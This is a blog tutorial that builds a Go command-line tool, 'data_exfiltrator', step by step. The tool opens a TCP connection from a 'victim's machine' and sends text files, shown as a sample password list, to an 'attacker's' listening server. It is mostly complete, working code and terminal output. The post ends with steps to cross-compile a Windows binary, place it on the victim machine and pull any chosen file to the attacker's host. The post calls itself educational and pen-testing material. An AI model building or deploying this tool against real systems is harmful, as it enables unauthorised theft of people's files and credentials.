DEV Community

Vedant Pareek
Vedant Pareek

Posted on

Hack and Exfiltrate text files using GoLang

This article will help you to write a Golang program which will transfer files from the remote machine (victim's machine) to your local environment(attacker's machine).

This article is mainly for education purposes and can be used for small pen-testing scenarios as well ( I have used it and it really works). We can use tools like scp and nc as well to transfer file data but we here get a chance to do the same natively using Golang.

Plan of Action

  1. Setting up your workspace
  2. Create a TCP server which opens a TCP port for data transfer.
  3. Transfer data using netcat to check connectivity.
  4. Concurrently listen to the data being sent.
  5. Create a client that sends data to the server.
  6. Modify the client to read a file and send data to the server.
  7. Create a CLI app using cobra to combine client and server in a single application and use arguments to accept file names, hostname or IP address and port to connect.
  8. Make it Windows and Linux suitable. (For you to hack some readable windows file)

Let's begin

Setting up your workspace

First we create a folder called data_exfiltrator in which our application will reside. Inside this we will create a folder called server which will contain a file called server.go.

data_exfiltrator
└── server
    └── server.go
Enter fullscreen mode Exit fullscreen mode

TCP server

Now we will create a simple TCP server. For this we are using 127.0.0.1 (localhost) and port 8080 to bind the server

package main

import "fmt"

// constant used for connections
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {
    fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
}
Enter fullscreen mode Exit fullscreen mode

Now we will open a socket so that we can use it as a server. For this we will try the net package, natively provided to us, by Golang which is used for providing portable interface for network connections. net package is easy to start with.

When we run net.Listen() we wish to listen on the network and when we run net.Dial() we wish to dial the connection to some other program on a network.

For server to server we use net.Listen()
for client to send data we use net.Dial().

Right now to create a TCP server we will use net.Listen(). Now the code will look like

package main

import (
    "fmt"
    "net"
)

const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {
    fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)

    // starting a server
    conn, err := net.Listen(connType, connHost+":"+connPort)

    if err != nil {
        fmt.Println("Connection error", connHost+":"+connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // to continuously listen to connections
    fmt.Println("Listening ...")
    for {
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        // To print the client address and port
        fmt.Println("Client", client.RemoteAddr().String(), "connected")

        // code here for accepting the traffic
    }
}
Enter fullscreen mode Exit fullscreen mode

We start the server with conn, err := net.Listen(connType, connHost+":"+connPort) and use defer as best practice to safely close the connection.
We run an infinite loop to listen to connections and use

client, err := conn.Accept()
Enter fullscreen mode Exit fullscreen mode

to accept the connections. After this we will code what we need to do with the client once a connection is accepted.

func main() {
    fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)

    // starting a server
    conn, err := net.Listen(connType, connHost+":"+connPort)

    if err != nil {
        fmt.Println("Connection error", connHost+":"+connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // to continuously listen to connections
    fmt.Println("Listening ...")
    for {
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        // To print the client address and port
        fmt.Println("Client", client.RemoteAddr().String(), "connected")

        // code here for accepting the traffic
        buffer, err := bufio.NewReader(client).ReadBytes('\n')
        if err != nil {
            fmt.Println("Client left")
            client.Close()
            return
        }
        fmt.Println("Client message:", string(buffer[:]))

        // We close the client just after receiveing one message
        client.Close()
    }
}
Enter fullscreen mode Exit fullscreen mode

We create a Reader using bufio package. This will create a reader for us which will read bytes and delimit them at \n. The message from the client is stored in the buffer variable as bytes which we convert to string using string(buffer[:]).
To run and test this, open two terminals -

# First terminal
$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Enter fullscreen mode Exit fullscreen mode

On the second terminal

$ nc localhost 8080
Enter fullscreen mode Exit fullscreen mode

and we will explain rest in the next section

Using nc or netcat to transfer the data

Once you run nc command you will observe that our print statement is able to print out the connection details in the first terminal.

$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40346 connected
Enter fullscreen mode Exit fullscreen mode

Now in the second terminal we can just send the data by typing it

$ nc localhost 8080
hello
Enter fullscreen mode Exit fullscreen mode

When we press enter after typing hello we can see the same appears over on the terminal one.

$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:40984 connected
Client message: hello
Enter fullscreen mode Exit fullscreen mode

You will see that your connection on the terminal gets immediately closed because we are running client.Close() in the last line of the code. To make it more interactive we will now convert this code to accept connections and handle the connection on some go routines.

Creating goroutine to handle client connections

Every connection to the server will be handled in a goroutine. Its very simple to implement and we will create a special function to do that. The name of the function is handleConnection() and this function will take the client connection as the parameter and perform the given tasks.

func main() {
    fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)

    // starting a server
    conn, err := net.Listen(connType, connHost+":"+connPort)

    if err != nil {
        fmt.Println("Connection error", connHost+":"+connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // to continuously listen to connections
    fmt.Println("Listening ...")
    for {
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        // To print the client address and port
        fmt.Println("Client", client.RemoteAddr().String(), "connected")

        // code here for accepting the traffic
        go handleConnection(client)
    }
}

// Function to handle go routine after accepting client
func handleConnection(client net.Conn) {
    for {
        buffer, err := bufio.NewReader(client).ReadBytes('\n')
        if err != nil {
            fmt.Println("Client left")
            client.Close()
            return
        }
        fmt.Print("Client message:", string(buffer[:]))
    }
}
Enter fullscreen mode Exit fullscreen mode

The Client Left statement is executed in the handleConnection() function when bufio reader is not able to read the incoming bytes and this will happen when the client has closed the connection from its side. Now the server will not close the connection immediately as the goroutine is running an infinite loop to receive messages continuously from the client. It will be the client's responsibility to close the connection now.
Terminal 1 - Running the server

$ go run server/server.go                                                                                                         
Starting tcp server on 127.0.0.1:8080
Listening ...
Enter fullscreen mode Exit fullscreen mode

Terminal 2 - Running the nc client

$ nc localhost 8080
Enter fullscreen mode Exit fullscreen mode

Now we will continuously send the messages from nc and we can see the same getting reflected in the terminal 1
Terminal 2 - nc (Type your message and press enter to send the message)

$ nc localhost 8080
hello
how
are
you
Enter fullscreen mode Exit fullscreen mode

Terminal 1 - Your server

$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Enter fullscreen mode Exit fullscreen mode

When we terminate the nc command using Ctrl+C then we get a message on server that client has left.

$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
Enter fullscreen mode Exit fullscreen mode

Now you don't need to restart server for another connection. Just simply create a nc client and start sending the messages again.

$ go run server/server.go                                                                                                    
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:55404 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Client left
Client 127.0.0.1:55832 connected
Client message:hello how are you
Enter fullscreen mode Exit fullscreen mode

Here we see the client will get connected again through some different source port.

Create a client that sends data to the server

Now we will remove the need of nc and create our own client to achieve the same.
For this create a directory called client and create a file inside it called client.go

package main

import (
    "bufio"
    "fmt"
    "os"
)

// there are server details to which client will connect
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {
    reader := bufio.NewReader(os.Stdin)
    for {
        fmt.Print("Enter text: ")
        text, _ := reader.ReadString('\n')
        fmt.Printf("Your text is %s", text)
    }
}
Enter fullscreen mode Exit fullscreen mode

We have server details that we will use soon to connect our client to the server. Right now we have created a reader that takes input from the os.Stdin (your terminal) and prints them out in a continuous loop. You can run this program via go run client/client.go to test if it works for you.
Now we will modify the main function to send text to our server and we already discussed to use net.Dial() for this. So our main function will become

package main

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

// there are server details to which client will connect
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
)

func main() {

    // connecting to the server
    conn, err := net.Dial(connType, connHost+":"+connPort)
    if err != nil {
        fmt.Println("Not able to connect to ", connHost, "at port", connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // creating a reader
    reader := bufio.NewReader(os.Stdin)

    for {
        fmt.Print("Enter text: ")
        text, _ := reader.ReadString('\n')

        // Convert the text to bytes and then write the bytes for it send to the connection.
        conn.Write([]byte(text))
    }
}
Enter fullscreen mode Exit fullscreen mode

We create a block to connect to server and create a reader for reading input from stdin and then send it by using conn.Write() function.
To run this we will first run a server in terminal 1 and client in terminal 2.
Terminal - 1

$ go run server/server.go 
Starting tcp server on 127.0.0.1:8080
Listening ...
Enter fullscreen mode Exit fullscreen mode

Terminal - 2

$ go run client/client.go                                                                                                         
Enter text:
Enter fullscreen mode Exit fullscreen mode

Enter to send text
Terminal - 2 (client)

$ go run client/client.go                                                                                                         
Enter text: hello
Enter text: how
Enter text: are
Enter text: you
Enter fullscreen mode Exit fullscreen mode

Terminal - 1 (server)

$ go run server/server.go 
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:58480 connected
Client message:hello
Client message:how
Client message:are
Client message:you
Enter fullscreen mode Exit fullscreen mode

Modify the client to read the file

Our main purpose is to exfiltrate text file form the victim's machine to the remote machine, so logically our client should read input from text files rather then os.Stdin.
For this we will create a text file sample_input.txt

password1
password2
password3
password4
Enter fullscreen mode Exit fullscreen mode

Our directory structure looks like this

$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
└── server
    └── server.go
Enter fullscreen mode Exit fullscreen mode

Now our client.go will be modified to read data from file sample_input.txt

package main

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

// there are server details to which client will connect
// we add here the file name to exfiltrate
const (
    connHost = "127.0.0.1"
    connPort = "8080"
    connType = "tcp"
    fileName = "client/sample_input.txt"
)

func main() {

    // connecting to the server
    conn, err := net.Dial(connType, connHost+":"+connPort)
    if err != nil {
        fmt.Println("Not able to connect to ", connHost, "at port", connPort)
        panic(err.Error())
    }
    defer conn.Close()

    // Open the file here
    file, err := os.Open(fileName)
    defer file.Close()
    if err != nil {
        fmt.Println("Not able to read file", fileName)
        panic(err.Error())
    }

    // Create a scanner to read the open file
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {

        // We add \n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "\n"))

    }
    fmt.Println("File transferred successfully")
}
Enter fullscreen mode Exit fullscreen mode

We add the const for file location fileName. To open a file for reading we use the os library and for reading the text from a file we use the bufio scanner.
The problem with the Scanner is that it removes the newline after reading text from the file. That's why we need to add the newline at the end of the text that we are sending to the connection in conn.Write() statement. Let's test this !
Terminal -1 run your server normally as there are no changes

$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Enter fullscreen mode Exit fullscreen mode

Running your client.go file to send the data

$ go run client/client.go
File transferred successfully
Enter fullscreen mode Exit fullscreen mode

If we see the output in the terminal 1, we will be surprised

$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:34706 connected
Client message:password1
Client left
Enter fullscreen mode Exit fullscreen mode

We see that only the first line is being transferred to the server. But why? What happens to the remaining one ?

The problem is because of the speed with which client is sending the data and the speed with which the server is ready to accept it. As the communication is asynchronous the client is never sure that the server has read the previous message. To make client run a bit slow we will add time.Sleep() for client to sleep for 5 milliseconds.
This is to be done in the scanner.Scan() loop

<...>
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {

        // We add \n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "\n"))

        // sleeping for 5 milliseconds
        time.Sleep(5 * time.Millisecond)

    }
<...>
Enter fullscreen mode Exit fullscreen mode

Now running the client.go in terminal 2

$ go run client/client.go
File transferred successfully
Enter fullscreen mode Exit fullscreen mode

and server in terminal 1

$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:35510 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
Enter fullscreen mode Exit fullscreen mode

We are now able to see all the contents of the file. if this still is not giving you correct answer then try increasing the sleep time to 10, 20 or maybe even 50 milliseconds. But isn't this approach still asynchronous. The client is still unaware of whether the data has been read by the server or not.

To make this a complete synchronized process we will ask the server to response a yes or maybe anything as small as one character to declare that it has read the message and simultaneously ask the client to read (and send ) the next line only after receiving this confirmation.

So to do this will modify the server.go to write a response in the handleConnection function

func handleConnection(client net.Conn) {
    for {
        buffer, err := bufio.NewReader(client).ReadBytes('\n')
        if err != nil {
            fmt.Println("Client left")
            client.Close()
            return
        }
        fmt.Print("Client message:", string(buffer[:]))

        // send this as a response to the client
        client.Write([]byte("Y"))
    }
}
Enter fullscreen mode Exit fullscreen mode

and in the client.go to read the response we will modify the for loop of scanner.Scan

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {

        // We add \n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "\n"))

        // declare a byte variable
        var b = make([]byte, 2, 3)

        // read the response here
        conn.Read(b)

    }
Enter fullscreen mode Exit fullscreen mode

We declare a variable and read the response in that variable. Once this is done we will begin reading next line.

Running this from terminal - 2 for client

$ go run client/client.go
File transferred successfully
Enter fullscreen mode Exit fullscreen mode

From terminal - 1 for server

$ go run server/server.go                                                                     
Starting tcp server on 127.0.0.1:8080
Listening ...
Client 127.0.0.1:36584 connected
Client message:password1
Client message:password2
Client message:password3
Client message:password4
Client left
Enter fullscreen mode Exit fullscreen mode

Now our entire process is synchronous.

Now if you want you can stop here and modify the host and port to make it workable for your needs. Launch the server in your local and run the client program on the victim machine. Obviously there are high chances that you might not be able to run the go program in the victim machine directly using the go command so you need to convert it into an executable. For this you can run the following command -

$ cd client

$ go build client.go
Enter fullscreen mode Exit fullscreen mode

This will create a binary that you can distribute to the victim and transfer the text files from there.

If you want to transform the entire thing into a complete tool then follow along to see how we convert server and client to a single application and use arguments for host, port and file paths.

Using cobra for CLI modifications.

Before diving into this our purpose in this sub-section is to create a tool which run server like this

./data_exfiltrator server --host 192.168.56.1 --port 8080 -o output.txt
Enter fullscreen mode Exit fullscreen mode

and for the client to exfiltrate password.txt

./data_exfiltrator client --host 192.168.56.1 --port 8080 -f password.txt
Enter fullscreen mode Exit fullscreen mode

For this we will use cobra which is used by lot of open-source projects like kubernetes.

For getting started this is our current folder

$ pwd
~/data_exfiltrator
Enter fullscreen mode Exit fullscreen mode

and the directory structure is

$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
└── server
    └── server.go
Enter fullscreen mode Exit fullscreen mode

First we need to create a module which we can done by running

$ go mod init example.com/data_exfiltrator
go: creating new go.mod: module example.com/data_exfiltrator
go: to add module requirements and sums:
    go mod tidy

# It will create a go.mod file                                                                                                                                        
$ ls -lrt           
total 12
drwxr-xr-x 2 kai kai 4096 Jan 21 23:51 server
drwxr-xr-x 2 kai kai 4096 Jan 23 21:29 client
-rw-r--r-- 1 kai kai   45 Jan 23 21:31 go.mod
Enter fullscreen mode Exit fullscreen mode

To install cobra we need to install its module. Preferably run this from ~/data_exfiltrator directory.

$ go get -u github.com/spf13/cobra
Enter fullscreen mode Exit fullscreen mode

This will install the module dependency in the go.mod file and go.sum file for checksums

Now we need to set out our PATH variable to take binaries inside the path GOBIN as well . To get the GOBIN

$ go env  | grep GOBIN                                                                                                          
Enter fullscreen mode Exit fullscreen mode

If the GOBIN is empty for you search for GOPATH/bin and add this to your path variable.
To check this run

$ cobra help
Enter fullscreen mode Exit fullscreen mode

If this runs successfully then cobra is rightly installed.

Now we will use cobra to initialize our client APP. The command to do that is

$ cobra init
Enter fullscreen mode Exit fullscreen mode

This will initialize your application and you will see lot of files created.

$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
├── cmd
│   └── root.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
    └── server.go
Enter fullscreen mode Exit fullscreen mode

Firstly, cobra creates main.go from where our application will begin. Secondly, it creates cmd file which contains root.go. This is the file which will be executed from main.go and will contain what we need to do when we run main.go.

We wish to add sub-commands like client and server as described earlier. For this we can run

$ cobra add client

$ cobra add server
Enter fullscreen mode Exit fullscreen mode

This will modify the cmd directory to add two more files named client.go and server.go.

$ tree .
.
├── client
│   ├── client.go
│   └── sample_input.txt
├── cmd
│   ├── client.go
│   ├── root.go
│   └── server.go
├── go.mod
├── go.sum
├── LICENSE
├── main.go
└── server
    └── server.go
Enter fullscreen mode Exit fullscreen mode

Our server and client files reside in server/server.go and client/client.go which are different from the server.go and client.go created by cobra in cmd directory.

When we will run go run main.go client then the cmd/client.go will be invoked and when we will execute go run main.go server then the cmd/server.go will be invoked.

Right now if we observe our client/client.go and server/server.go are part of main package. We can't use main as package for them because we don't want to create separate binaries for them, so we will convert client/client.go to become package client and for server/server.go we will use package name server. To do this just simply change their package names from main to client or server accordingly.

Now as we are running these file separately so we will remove the main function and create different functions for them.
For client/client.go

package client

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

const connType = "tcp"

func checkFile(file string) error {
    _, err := os.Stat(file)
    return err
    // check file permissions as well
}

func ExfiltrateFile(fileName, connHost, connPort string) error {

    // stat file
    if checkFile(fileName) != nil {
        return fmt.Errorf("FileNotFound: Not able to find the file %s", fileName)
    }

    // check connection

    fmt.Printf("Connecting %s:%s over %s\n", connHost, connPort, connType)
    conn, err := net.Dial(connType, connHost+":"+connPort)
    if err != nil {
        fmt.Println(err.Error())
        return fmt.Errorf("HostNotReachable: Not able to connect %s:%s", connHost, connPort)
    }
    defer conn.Close()
    //transfer file
    file, err := os.Open(fileName)
    if err != nil {
        return fmt.Errorf("FilePermission: Not able to read file %s", fileName)
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        var b = make([]byte, 2, 3)

        // We add \n because scanner.Text() removes the ending newline character
        conn.Write([]byte(scanner.Text() + "\n"))

        // Wait for the server message to indicate that the line is written
        conn.Read(b)
    }
    return nil
}
Enter fullscreen mode Exit fullscreen mode

As we notice in the above file we don't have main function, rather we are using ExfiltrateFile as the function which takes fileName , connHost and connPort as arguments.

Now try to understand what we are doing here. We will pass option from the shell to accept file names, host and port. They will be passed in the root.go. root.go will determine what subcommand we are using, client or server by the command we have typed. Suppose if we are running client sub-command then cmd/client.go will be invoked with the appropriate flags (file names, host and port passed from shell). Once cmd/client.go get these flags, it will call ExfiltrateFile() function from client/client.go and pass these flags as arguments. The ExfiltrateFile() function will run the the client logic we built earlier.

This also goes for server/server.go

package server

import (
    "bufio"
    "fmt"
    "net"
    "os"
)

const (
    connType = "tcp"
)

func Serve(fileName, connHost, connPort string) error {

    fmt.Printf("Starting %s server on %s:%s\n", connType, connHost, connPort)
    conn, err := net.Listen(connType, connHost+":"+connPort)
    if err != nil {
        return fmt.Errorf("ConnectionError: Not able to connect %s", connHost+":"+connPort)
    }
    defer conn.Close()

    // running the loop for listening all the connections
    fmt.Println("Listening ... ")
    for {
        // Start accepting the connections
        client, err := conn.Accept()
        if err != nil {
            panic(err.Error())
        }
        fmt.Println("Client", client.RemoteAddr().String(), "connected")
        go handleClientConnection(client, fileName)
        fmt.Println("You can press Ctrl+c to terminate the program")
    }
}

func handleClientConnection(conn net.Conn, fileName string) {
    // handling buffer writes
    // it take the connection and then creates the buffer
    file, err := os.Create(fileName)
    if err != nil {
        panic(err)
    }
    defer close(file)
    for {
        buffer, err := bufio.NewReader(conn).ReadBytes('\n')
        if err != nil {
            fmt.Println("Client left")
            conn.Close()
            return
        }
        file.WriteString(string(buffer[:]))

        // Sending a reply back to client for synchronous connection
        conn.Write([]byte("Y\n"))
    }

}
func close(file *os.File) {
    fmt.Println("Closing the file")
    fmt.Println()
    fmt.Println("Listening ... (press Ctrl+c to terminate)")
    file.Close()
}
Enter fullscreen mode Exit fullscreen mode

Here we use the Serve function to start a TCP server by accepting file name, host and port as parameters

If we carefully observe the handleConnection function then we are now outputting everything to a file and not to the console. This file name is received from the --output or -o option in the cmd/server.go file.

Now our client and server logic is ready to be used. We just need to modify the cmd/client.go and cmd/server.go to pass the flags to the client and server accordingly.
So the cmd/client.go is

package cmd

import (
    "log"

    "github.com/dunefro/data_exfiltrator/client"
    "github.com/spf13/cobra"
)

// clientCmd represents the client command
var clientCmd = &cobra.Command{
    Use:   "client",
    Short: "to run the client",
    Long:  `Running the client for data exfiltrator`,
    Run: func(cmd *cobra.Command, args []string) {

        fileName, _ := cmd.Flags().GetString("file")
        host, _ := cmd.Flags().GetString("host")
        port, _ := cmd.Flags().GetString("port")

        err := client.ExfiltrateFile(fileName, host, port)
        if err != nil {
            log.Println("Failed to transfer the file")
            log.Fatal(err.Error())
        } else {
            log.Println("Successful: File was transferred")
        }

    },
}

func init() {
    rootCmd.AddCommand(clientCmd)

    // defining flags for client
    clientCmd.PersistentFlags().StringP("file", "f", "", "file(text) name which you want to transfer (required)")
    clientCmd.MarkPersistentFlagRequired("file")
    clientCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
    clientCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")

}
Enter fullscreen mode Exit fullscreen mode

In the init() function we have flags that are available with the client sub-command. These are file, host and port which can be invoked with -- for shell arguments. We have only marked one of the options as mandatory with client sub-command i.e. file. Logically the client must pass some file to exfiltrate. If host and port are not specified then we will use default value 127.0.0.1 and 8080. This is mentioned in the 3rd argument of each flag. We can use the small option p for port as -p.

Once this is initialized the function in the Run will be executed and we can get all the values passed for each argument in the command invoked by using cmd.Flags(). So

fileName, _ := cmd.Flags().GetString("file")
host, _ := cmd.Flags().GetString("host")
port, _ := cmd.Flags().GetString("port")
Enter fullscreen mode Exit fullscreen mode

This gives the value of fileName, host and port passed in the command. Once we have them we invoke the ExfiltrateFile() function from the client/client.go which we have imported in the cmd/client.go by

"example.com/data_exfiltrator/client"
Enter fullscreen mode Exit fullscreen mode

and so now to call the exfiltrate function

client.ExfiltrateFile(fileName, host, port)
Enter fullscreen mode Exit fullscreen mode

This happens for server.go as well

package cmd

import (
    "fmt"

    "example.com/data_exfiltrator/server"
    "github.com/spf13/cobra"
)

// serverCmd represents the server command
var serverCmd = &cobra.Command{
    Use:   "server",
    Short: "creating server",
    Long:  `This will create a server at a specified port for connection and output to directed file`,
    Run: func(cmd *cobra.Command, args []string) {
        fileName, _ := cmd.Flags().GetString("output")
        host, _ := cmd.Flags().GetString("host")
        port, _ := cmd.Flags().GetString("port")

        err := server.Serve(fileName, host, port)
        if err != nil {
            fmt.Println(err.Error())
        }
    },
}

func init() {
    rootCmd.AddCommand(serverCmd)

    // defining flags
    serverCmd.PersistentFlags().StringP("output", "o", "", "output(text file) to transfer the data (required)")
    serverCmd.MarkPersistentFlagRequired("output")
    serverCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")
    serverCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")
}

Enter fullscreen mode Exit fullscreen mode

For the serve sub-command we are using output as the option for outputting what we receive from the client. This is a compulsory option and must be passed when invoking server sub-command. We have host and port similar to client sub-command. We call the server function by -

server.Serve(fileName, host, port)
Enter fullscreen mode Exit fullscreen mode

and pass the output file, host and port.

Finally the root.go will be

package cmd

import (
    "os"

    "github.com/spf13/cobra"
)

// rootCmd represents the base command when called without any subcommands
var rootCmd = &cobra.Command{
    Use:   "data_exfiltrator [command]",
    Short: "Exfiltrate your files from one location to another",
    Long:  `Application to build data exfiltrator`,
    // Uncomment the following line if your bare application
    // has an action associated with it:
    // Run: func(cmd *cobra.Command, args []string) { },
}

// Execute adds all child commands to the root command and sets flags appropriately.
// This is called by main.main(). It only needs to happen once to the rootCmd.
func Execute() {
    err := rootCmd.Execute()
    if err != nil {
        os.Exit(1)
    }
}

func init() {
    // Here you will define your flags and configuration settings.
    // Cobra supports persistent flags, which, if defined here,
    // will be global for your application.

    // rootCmd.PersistentFlags().StringVar(&cfgFile, "config", "", "config file (default is $HOME/.data_exfiltrator.yaml)")

    // Cobra also supports local flags, which will only run
    // when this action is called directly.
    // rootCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle")
    // Add version here
}
Enter fullscreen mode Exit fullscreen mode

For root.go we have disabled the Run flag to hold any function. This is because we don't want to do anything until a sub-command like client or server is passed to it.

So now we will build everything and test. To build

$ go build
Enter fullscreen mode Exit fullscreen mode

This will create a binary called data_exfiltrator. Run this binary simply by

$ ./data_exfiltrator                                               
Application to build data exfiltrator

Usage:
  data_exfiltrator [command]

Available Commands:
  client      to run the client
  completion  Generate the autocompletion script for the specified shell
  help        Help about any command
  server      creating server

Flags:
  -h, --help   help for data_exfiltrator

Use "data_exfiltrator [command] --help" for more information about a command.
Enter fullscreen mode Exit fullscreen mode

We will try to run a server

$ ./data_exfiltrator server -o something.txt  --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ...
Enter fullscreen mode Exit fullscreen mode

Now we will try to run the client

$ ./data_exfiltrator client
Error: required flag(s) "file" not set
Usage:
  data_exfiltrator client [flags]

Flags:
  -f, --file string   file(text) name which you want to transfer (required)
  -h, --help          help for client
      --host string   host that you wish to connect (default "127.0.0.1")
  -p, --port string   port that you wish to connect (default "8080")
Enter fullscreen mode Exit fullscreen mode

This will fail because as we have mentioned we need to pass the option --file for this, so

$ ./data_exfiltrator client -f client/sample_input.txt --host 192.168.56.178 --port 8080
Connecting 192.168.56.178:8080 over tcp
2022/01/23 22:43:27 Successful: File was transferred
Enter fullscreen mode Exit fullscreen mode

The terminal 1 where server ran is now showing

$ ./data_exfiltrator server -o something.txt  --host 192.168.56.178 --port 8080
Starting tcp server on 192.168.56.178:8080
Listening ... 
Client 192.168.56.178:34154 connected
You can press Ctrl+c to terminate the program
Client left
Closing the file

Listening ... (press Ctrl+c to terminate)
Enter fullscreen mode Exit fullscreen mode

Press Ctrl+C to check the file something.txt

$ cat something.txt         
password1
password2
password3
password4
Enter fullscreen mode Exit fullscreen mode

The file is exfiltrated.

Making it Windows and Linux suitable

During exfiltration my main issue was that I was not able to run some program on windows which I was easily able to run on Linux. As Golang provides us with this ability I built the same binary for windows as well.

Let's check how to do that -
To make the file windows specific

$ GOOS=windows GOARCH=amd64 go build .
Enter fullscreen mode Exit fullscreen mode

This will create a file called data_exfiltrator.exe which you can now run on windows.

Generally the scenario is to hack files from windows and hackers have Linux as their own host. That's why having data_exfiltrator.exe and data_exfiltrator will be very helpful because we can now mix and match the use cases to a wide range.

How to use the above file

  1. Once you have built the binary, go over to the victim machine, and keep this binary over there. if it's windows then copy the windows binary for the same.
  2. On your local machine run the server by ./data_exfiltrator server --ouput <outputfile> --host <yourIP> --port <yourPort> command. If you local is also windows then run ./data_exilftrator.exe server with similar flags.
  3. Now on the victim side run ./data_exfiltrator.exe client -f <filetohack> --host <serverhost> --port <serverport>
  4. You will get the <filetohack> file in your local with the name <outputfile>.

Conclusion

The above program if read in a single take might become a nightmare to perform that's why I made it a point to distribute it in lot of small chunks. The main takeaway is to understand the logic of socket programming and how to create a CLI application in Golang.
To get the complete source code you can refer to GITHUB. Let me know what do you think about this.

References

  1. https://blog.knoldus.com/create-kubectl-like-cli-with-go-and-cobra/
  2. https://dev.to/aurelievache/learning-go-by-examples-part-3-create-a-cli-app-in-go-1h43
  3. https://github.com/spf13/cobra

Top comments (0)